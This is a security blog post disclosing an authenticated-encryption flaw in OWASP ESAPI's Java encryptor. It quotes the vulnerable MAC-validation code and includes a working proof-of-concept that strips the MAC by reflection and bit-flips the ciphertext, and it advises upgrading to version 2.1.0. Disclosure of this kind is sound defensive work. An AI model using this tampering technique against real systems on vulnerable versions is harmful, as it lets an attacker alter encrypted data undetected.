Pages

Thursday, August 22, 2013

ESAPI : When authenticated encryption goes wrong

(Note: This post was revert to draft until 3rd september to avoid unnecessary pressure on the ESAPI developpers.)

ESAPI?


ESAPI is a community project part of OWASP. The project scope is kind of wide. It include functionality for authentication, validation, encoding/escaping, cryptography, etc.
I had to analyze the use of ESAPI cryptography component for my organisation. This post will detail the discovery of a vulnerability in the symmetric encryption API. Keep in mind that the observations refer to the Java implementation specifically.

Block Cipher + MAC = Authenticated Encryption


ESAPI encryptor is the api that support symmetric encryption. Symmetric encryption can be use with a block cipher component alone such as AES. When use properly, it provided confidentiality. But, the ciphers are generally not designed to be tamper proof.
But it can also be combined with the generation of Message authentication code (MAC). This combination is called Authenticated Encryption (AE). This additional MAC is needed because in many case the cipher text can be intercept by an adversary. The generation and validation of MAC requires that the client and server share a secret key.

ESAPI implementation


The usage of ESAPI encryptor is as follow:

Example 1: Encryption without signature
//Encrypt
CipherText ct = ESAPI.encryptor().encrypt(new PlainText("Some secret"));


Example 2: Authenticated encryption
//Encrypt
CipherText ct = ESAPI.encryptor().encrypt(new PlainText("Some secret"));
ct.computeAndStoreMAC(sk);

//Serialize the ciphertext...
byte[] serializedCt = ct.asPortableSerializedByteArray();

//Decrypt
CipherText ctReload = CipherText.fromPortableSerializedBytes(serializedCt);
PlainText pt = ESAPI.encryptor().decrypt(sk,ctReload);

The envelop (CipherText class)


The serialization of the CipherText is designed to be portable with other ESAPI implementation. The properties serialized include :
  • Cipher specification (algorithm used, key length, ...)
  • Ciphertext bytes array
  • MAC bytes array

MAC validation


A look at the decrypt method reveal that the MAC validation is done first and the decryption occurs if the MAC validation succeed.

boolean valid = CryptoHelper.isCipherTextMACvalid(key, ciphertext);
if (!valid)
{
    [...]
    throw new EncryptionException("Decryption failed; see logs for details.", "Decryption failed because MAC invalid for " + ciphertext);
}
[...]
plaintext = handleDecryption(key, ciphertext);

The problem is that the MAC validation can be bypassed under certain conditions.

Condition #1: When the MAC is null (not specified)


If the serialize object (CipherText) doesn't contains a MAC, the validation is simply skipped.
CryptoHelper.java
public boolean validateMAC(SecretKey authKey)
{
    boolean usesMAC = ESAPI.securityConfiguration().useMACforCipherText();
    
    if ((usesMAC) && (macComputed()))
    {
        byte[] mac = computeMAC(authKey);
        assert (mac.length == this.separate_mac_.length) : "MACs are of differnt lengths. Should both be the same.";
        return CryptoHelper.arrayCompare(mac, this.separate_mac_);
    }
    else if (!usesMAC) {
        return true;
    }
    else {
        logger.warning(Logger.SECURITY_FAILURE, "Cannot validate MAC as it was never computed and stored. Decryption result may be garbage even when decryption succeeds.");
    
        return true;
    }
}

private boolean macComputed()
{
    return this.separate_mac_ != null;
}

Disabling the MAC validation allow different kinds of attacks that involve altering the ciphertext. (Oracle Padding Attack, IV manipulation, ...).

Condition #2: Altered cipher definition


If the cipher specfication is tampered to use a different mode, it could fall in a category that doesn't required MAC validation. (This attack require a misconfiguration in the list of combined cipher mode.)
CryptoHelper.java
public static boolean isMACRequired(CipherText ct)
{
    boolean preferredCipherMode = isCombinedCipherMode(ct.getCipherMode());

    boolean wantsMAC = ESAPI.securityConfiguration().useMACforCipherText();

    return (!preferredCipherMode) && (wantsMAC);
}
[...]
public static boolean isCombinedCipherMode(String cipherMode)
{
    assert (cipherMode != null) : "Cipher mode may not be null";
    assert (!cipherMode.equals("")) : "Cipher mode may not be empty string";
    List combinedCipherModes =
    ESAPI.securityConfiguration().getCombinedCipherModes();

    return combinedCipherModes.contains(cipherMode);
}

Exploitation (POC)


Supposing a generic configuration (ESAPI.properties) :
Encryptor.MasterSalt=JMpPmyLMEaR5IX8hGApNuw==
Encryptor.MasterKey=6KRLoeM2vUQaQMkXe3AQN+LgYvLJcMs7/gWpCU30N4s=

Encryptor.CipherText.useMAC=true
Encryptor.CipherTransformation=AES/OFB/NoPadding

Encryptor.HashAlgorithm=SHA-512
Encryptor.HashIterations=1024
Encryptor.CharacterEncoding=UTF-8


Encryption/Decryption
//Encryption
String originalMessage = "Cryptography";
System.out.printf("Encrypting the message '%s'\n", originalMessage);
CipherText ct = ESAPI.encryptor().encrypt(new PlainText(originalMessage));
ct.computeAndStoreMAC(sk);

byte[] serializedCt = ct.asPortableSerializedByteArray();

//Manipulation by an adversary occurs here
serializedCt = tamperCipherText(serializedCt);

//Decryption
CipherText modifierCtObj = CipherText.fromPortableSerializedBytes(serializedCt);
PlainText pt = ESAPI.encryptor().decrypt(sk,modifierCtObj);
System.out.printf("Decrypting to '%s'\n", new String(pt.asBytes()));

Tampering proof of concept
private byte[] tamperCipherText(byte[] serializeCt) throws EncryptionException, NoSuchFieldException, IllegalAccessException {
    CipherText ct = CipherText.fromPortableSerializedBytes(serializeCt);

    byte[] cipherTextMod = ct.getRawCipherText();
    System.out.printf("Original ciphertext\t'%s'\n",String.valueOf(Hex.encodeHex(cipherTextMod)));

    cipherTextMod[2] ^= 'y' ^ 'a'; //Alter the 3rd character
    System.out.printf("Modified ciphertext\t'%s'\n",String.valueOf(Hex.encodeHex(cipherTextMod)));

    //MAC ... what MAC ?
    Field f2 = ct.getClass().getDeclaredField("separate_mac_");
    f2.setAccessible(true);
    f2.set(ct,null); //mac byte array set to null

    //Changing CT
    Field f3 = ct.getClass().getDeclaredField("raw_ciphertext_");
    f3.setAccessible(true);
    f3.set(ct,cipherTextMod);

    return serialize(ct); //Modified version of CipherTextSerializer.asSerializedByteArray()
}


Output of the execution
Encrypting the message 'Cryptography'
Original ciphertext '779fd87578b1f08cdcfa81d0'
Modified ciphertext '779fc07578b1f08cdcfa81d0'
Decrypting to 'Craptography'

Closing thoughts


The design to compute the mac for only a portion of the message is kind of broken. The mac should cover all parameters serialized. Authenticated encryption implementation should not use logic that support optional MAC.

If you are using the encryptor api to encrypt data (ESAPI.encryptor().encrypt(...)), you should upgrade to ESAPI 2.1.0 which address this specific vulnerability.

Additional References

No comments:

Post a Comment